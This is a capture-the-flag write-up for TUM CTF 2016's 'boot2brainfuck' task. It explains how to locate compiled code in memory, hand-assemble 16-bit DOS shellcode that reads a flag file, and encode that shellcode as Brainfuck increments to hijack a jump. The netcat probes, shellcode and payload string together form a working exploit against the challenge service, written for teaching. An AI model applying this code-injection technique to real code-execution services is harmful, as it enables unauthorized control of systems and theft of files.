Code execution as a service
boot2brainfuck: DOS shellcode through a Brainfuck compiler service
The service turns submitted Brainfuck into a running DOS program on a freshly booted virtual machine. Locating the compiled code in memory and overwriting a jump with real shellcode reads the flag off disk.
- 01
Inspect
A remote service compiles submitted Brainfuck source with a provided compiler, boots a DOS machine and runs the result. The flag sits on disk, outside the program's own reach.
- 02
Hypothesize
Comparing memory dumps between two different inputs shows where the compiled code lands, and Brainfuck's jump instructions can be abused to redirect execution into injected bytes placed past the program's own output.
- 03
Test
A probe payload confirms the code location, and DOS interrupt documentation gives the exact register setup needed to open, read and print a file.
- 04
Solve
Hand-assemble a small DOS shellcode that opens, reads and prints the flag file, encode it as a run of Brainfuck increment instructions, and splice it in after a located jump.
boot2brainfuck was a 150-point pwn task at TUM CTF 2016, a roughly 48-hour jeopardy-style online event organized by H4x0rPsch0rr, the CTF team of the Technical University of Munich. The task framed itself around a running joke: a service offering Remote Code Execution as a Service, taking a Brainfuck program as input and promising to run it. The description came with working Brainfuck as a pro tip, hinting that the service genuinely executes whatever is submitted, and a note that the flag sits at A:\FLAG.TXT, a path only meaningful inside a DOS environment.
Understanding the service
Connecting to the listed host and port accepts a line of Brainfuck source. The task also supplied the compiler’s own source, bfc.py, which translates Brainfuck into x86 assembly and then into a flat DOS .com binary with nasm. On the server side, the submitted program is compiled the same way, and the resulting binary is booted on a fresh DOS virtual machine, with its terminal output streamed back over the network connection.
Because a .com file has no sections, headers or relocations, the program is simply loaded at a fixed offset and executed from the top. That simplicity is also what makes the attack possible: nothing stops a crafted program from touching memory well past where the compiler expected the “real” code to end.
Finding where the compiled code lives
The first concrete step was comparing outputs. Sending a long, repetitive probe program to the real service and compiling the same program locally with the provided bfc.py and nasm let the two results be compared directly:
python -c "print '<.' * 1000" | nc 130.211.155.146 20666 > tmp
python -c "print '<.' * 1000" | python3 bfc.py > out.asm && nasm -f bin -o out.com out.asm
Matching the remote output against the local compilation confirmed where in the executed memory the compiler places the translated program, which meant a Brainfuck source could deliberately move its own data pointer past the end of its own compiled instructions and write bytes there that the compiler never intended to emit as code, specifically, bytes that land just after one of the compiler’s own jump instructions (Brainfuck’s loop constructs compile down to conditional jumps). Overwriting the target of such a jump redirects control flow into whatever has been written at the new location.
Writing the shellcode
With injection confirmed, the remaining work was a small piece of handwritten 16-bit DOS shellcode to open the flag file, read it and print it. Two references on DOS interrupt calling conventions supplied the register layout: function 3Dh under interrupt 21h opens a file given a pointer to its name in dx, returning a handle in ax; function 3Fh reads into a buffer given a handle in bx, a byte count in cx and a buffer pointer in dx; and function 02h writes a single character given in dl.
; FLAG.TXT
mov [bp], word 0x4c46
mov [bp+2], word 0x4741
mov [bp+4], word 0x542e
mov [bp+6], word 0x5458
mov [bp+8], word 0
; open file
mov ah, 3Dh
mov dx, bp
int 21h
; read flag
mov bx, ax
mov ah, 3fh
mov cx, 60 ; number of bytes to read
mov dx, bp ; where to put read data
int 21h
; print flag
mov cl, byte 60
l1:
cmp cl, 0
je l2
mov dx, [bp] ; flag char
inc bp
dec cl
mov ah, 02
int 21h
jmp l1
l2:
The file name is written byte by byte into a buffer on the stack rather than embedded as a string literal, since the shellcode has to be self-contained and position-independent once spliced into the injected region. 60 bytes was chosen as a safe upper bound for the flag’s length; the DOS read call returns fewer bytes without error if the file is shorter.
Assembling the final payload
The shellcode, once assembled with nasm, is a short run of raw bytes. Encoding it as Brainfuck means walking the data pointer forward one cell per byte and emitting that many increment instructions for each one:
def to_bf(c):
return '+' * ord(c) + '>'
BF = ''.join(to_bf(c) for c in SC)
The full submission combines a short prefix that positions the data pointer at the known injection offset, a loop-closing bracket ([-]) and increments that overwrite the original jump target with a chosen marker value so the location can be verified, the encoded shellcode itself, and a final unconditional loop ([]) that, once the preceding bytes have redirected it, never returns control to the compiler’s own generated code:
cmd = '<' * 9 + '[-]' + '+' * 8 + '>' * 9 + BF + '[]'
Sent to the service with pwntools’ remote, the connection’s output, after discarding the DOS boot banner lines and the “Installed at PS/2 port” and driver-loaded messages that precede the actual program, is the contents of A:\FLAG.TXT.
Wrong turns worth noting
Writing shellcode in a 32-bit or Linux calling convention is the most common early mistake, since the target is a 16-bit real-mode DOS environment, not a modern Linux process, and the register and interrupt conventions differ completely. A second trap is assuming the compiled code’s layout is identical across different input lengths; comparing dumps for more than one probe length was necessary to separate a fixed offset from one that shifts with the input.
What transfers to other challenges
The approach, diff two memory dumps from controlled inputs to locate where attacker-influenced data lands, then redirect a nearby control-flow instruction into it, applies well beyond DOS or Brainfuck. Any compiler-as-a-service or interpreter-as-a-service task raises the same question: does the output execute, and if so, can submitted data escape its intended region. The self-decrypting jump structure in Zwiebel, also from TUM CTF 2016, shows a related idea from the defender’s side: code that only reveals itself a piece at a time. For visually distinguishing injected shellcode from a compiler’s own repetitive output inside a memory dump, see binary data visualization.
Questions readers ask
Why does the service run a full DOS boot rather than a sandboxed interpreter?
The task framed itself as remote code execution as a service: submitted Brainfuck is compiled, by a compiler the task also provides the source for, into a standalone program and run on a freshly booted DOS virtual machine, with the flag file present on that machine's own disk rather than passed to the program.
How does a Brainfuck program end up placing raw shellcode bytes in memory?
Brainfuck's increment instruction adds one to the current memory cell before the pointer advances with a move instruction; repeating the increment instruction N times writes the byte value N into that cell. Encoding each shellcode byte as that many increments, followed by one move to the next cell, reproduces the whole shellcode as a long but mechanical Brainfuck program.
Why was DOS interrupt documentation needed instead of a syscall table?
DOS services are invoked through software interrupt 21h with function numbers in the ah register, not through a Linux-style syscall ABI, and the register conventions for opening, reading and writing files under this interface are documented in older DOS programming references rather than modern man pages.
What confirms that the injected shellcode actually ran?
The service connection returns the terminal output from the DOS session over the network. A successful run prints the flag's contents back through the same channel used to submit the Brainfuck source, after terminal control sequences are stripped from the captured text.
New to capture the flag? Formats, teams and a first-month plan in one place.
Read the CTF guide